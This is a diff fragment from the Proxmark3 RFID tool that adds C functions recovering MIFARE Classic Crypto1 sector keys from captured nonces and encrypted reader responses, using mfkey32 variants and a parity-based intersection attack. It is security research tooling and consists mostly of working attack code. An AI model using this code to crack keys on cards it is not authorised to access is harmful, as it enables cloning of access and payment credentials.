+ for (i = 0; (state) && ((state + i)->odd != -1); i++) {
+ lfsr_rollback_word(state + i, xored, 0);
+ crypto1_get_lfsr(state + i, &key_recovered);
+ *(state_s + i) = key_recovered;
+ }
+
+ qsort(state_s, i, sizeof(int64_t), compar_intA);
+ *(state_s + i) = -1;
+
+ // first call to this function. clear all other stuff and set new found states.
+ if (last_keylist == NULL) {
+ key_count = 0;
+ free(last_keylist);
+ last_keylist = state_s;
+ PrintAndLog("parity is all zero, testing special attack. First call, this attack needs at least two calls. Hold on...");
+ PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr);
+ return 1;
+ }
+
+ PrintAndLog("uid(%08x) nt(%08x) ks(%016"llx") nr(%08x)\n", uid, nt, ks_info, nr);
+
+ //Create the intersection:
+ int64_t *p1, *p2, *p3;
+ p1 = p3 = last_keylist;
+ p2 = state_s;
+
+ while ( *p1 != -1 && *p2 != -1 ) {
+ if (compar_intA(p1, p2) == 0) {
+ printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
+ *p3++ = *p1++;
+ p2++;
+ }
+ else {
+ while (compar_intA(p1, p2) == -1) ++p1;
+ while (compar_intA(p1, p2) == 1) ++p2;
+ }
+ }
+ key_count = p3 - last_keylist;
+ printf("key_count: %d\n", key_count);
+ if ( key_count == 0 ){
+ free(state);
+ state = NULL;
+ return 0;
+ }
+
+ uint8_t retval = 1;
+ // Validate all key candidates with testing each of them with mfCheckKeys
+ uint8_t keyBlock[6] = {0,0,0,0,0,0};
+ uint64_t key64;
+ for (i = 0; i < key_count; i++) {
+ key64 = *(last_keylist + i);
+ num_to_bytes(key64, 6, keyBlock);
+ key64 = 0;
+ if (!mfCheckKeys(blockno, keytype, false, 1, keyBlock, &key64)) {
+ *key = key64;
+ retval = 0;
+ goto out;
+ }
+ }
+
+out:
+ free(last_keylist);
+ last_keylist = NULL;
+ free(state);
+ state = NULL;
+ return retval;
+}
+
+// 32 bit recover key from 2 nonces
+bool tryMfk32(nonces_t data, uint64_t *outputkey, bool verbose) {
+ struct Crypto1State *s,*t;
+ uint64_t outkey = 0;
+ uint64_t key=0; // recovered key
+ uint32_t uid = data.cuid;
+ uint32_t nt = data.nonce; // first tag challenge (nonce)
+ uint32_t nr0_enc = data.nr; // first encrypted reader challenge
+ uint32_t ar0_enc = data.ar; // first encrypted reader response
+ uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
+ uint32_t ar1_enc = data.ar2; // second encrypted reader response
+ bool isSuccess = FALSE;
+ uint8_t counter = 0;
+
+ clock_t t1 = clock();
+ uint32_t p64 = prng_successor(nt, 64);
+
+ if ( verbose ) {
+ printf("Recovering key for:\n");
+ printf(" uid: %08x\n",uid);
+ printf(" nt: %08x\n",nt);
+ printf(" {nr_0}: %08x\n",nr0_enc);
+ printf(" {ar_0}: %08x\n",ar0_enc);
+ printf(" {nr_1}: %08x\n",nr1_enc);
+ printf(" {ar_1}: %08x\n",ar1_enc);
+ printf("\nLFSR succesors of the tag challenge:\n");
+ printf(" nt': %08x\n", p64);
+ printf(" nt'': %08x\n", prng_successor(p64, 32));
+ }
+
+ s = lfsr_recovery32(ar0_enc ^ p64, 0);
+
+ for(t = s; t->odd | t->even; ++t) {
+ lfsr_rollback_word(t, 0, 0);
+ lfsr_rollback_word(t, nr0_enc, 1);
+ lfsr_rollback_word(t, uid ^ nt, 0);
+ crypto1_get_lfsr(t, &key);
+ crypto1_word(t, uid ^ nt, 0);
+ crypto1_word(t, nr1_enc, 1);
+ if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
+ outkey = key;
+ ++counter;
+ if (counter==20) break;
+ }
+ }
+ isSuccess = (counter > 0);
+ t1 = clock() - t1;
+ if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.0f ticks - possible keys %d\n", (float)t1, counter);
+
+ *outputkey = ( isSuccess ) ? outkey : 0;
+ crypto1_destroy(s);
+ return isSuccess;
+}
+
+bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey, bool verbose) {
+ struct Crypto1State *s, *t;
+ uint64_t outkey = 0;
+ uint64_t key = 0; // recovered key
+ uint32_t uid = data.cuid;
+ uint32_t nt0 = data.nonce; // first tag challenge (nonce)
+ uint32_t nr0_enc = data.nr; // first encrypted reader challenge
+ uint32_t ar0_enc = data.ar; // first encrypted reader response
+ //uint32_t uid1 = le32toh(data+16);
+ uint32_t nt1 = data.nonce2; // second tag challenge (nonce)
+ uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
+ uint32_t ar1_enc = data.ar2; // second encrypted reader response
+ bool isSuccess = FALSE;
+ int counter = 0;
+
+ clock_t t1 = clock();
+
+ uint32_t p640 = prng_successor(nt0, 64);
+ uint32_t p641 = prng_successor(nt1, 64);
+
+ if (verbose) {
+ printf("Recovering key for:\n");
+ printf(" uid: %08x\n", uid);
+ printf(" nt_0: %08x\n", nt0);
+ printf(" {nr_0}: %08x\n", nr0_enc);
+ printf(" {ar_0}: %08x\n", ar0_enc);
+ printf(" nt_1: %08x\n", nt1);
+ printf(" {nr_1}: %08x\n", nr1_enc);
+ printf(" {ar_1}: %08x\n", ar1_enc);
+ printf("\nLFSR succesors of the tag challenge:\n");
+ printf(" nt': %08x\n", p640);
+ printf(" nt'': %08x\n", prng_successor(p640, 32));
+ }
+
+ s = lfsr_recovery32(ar0_enc ^ p640, 0);
projects / proxmark3-svn / blobdiff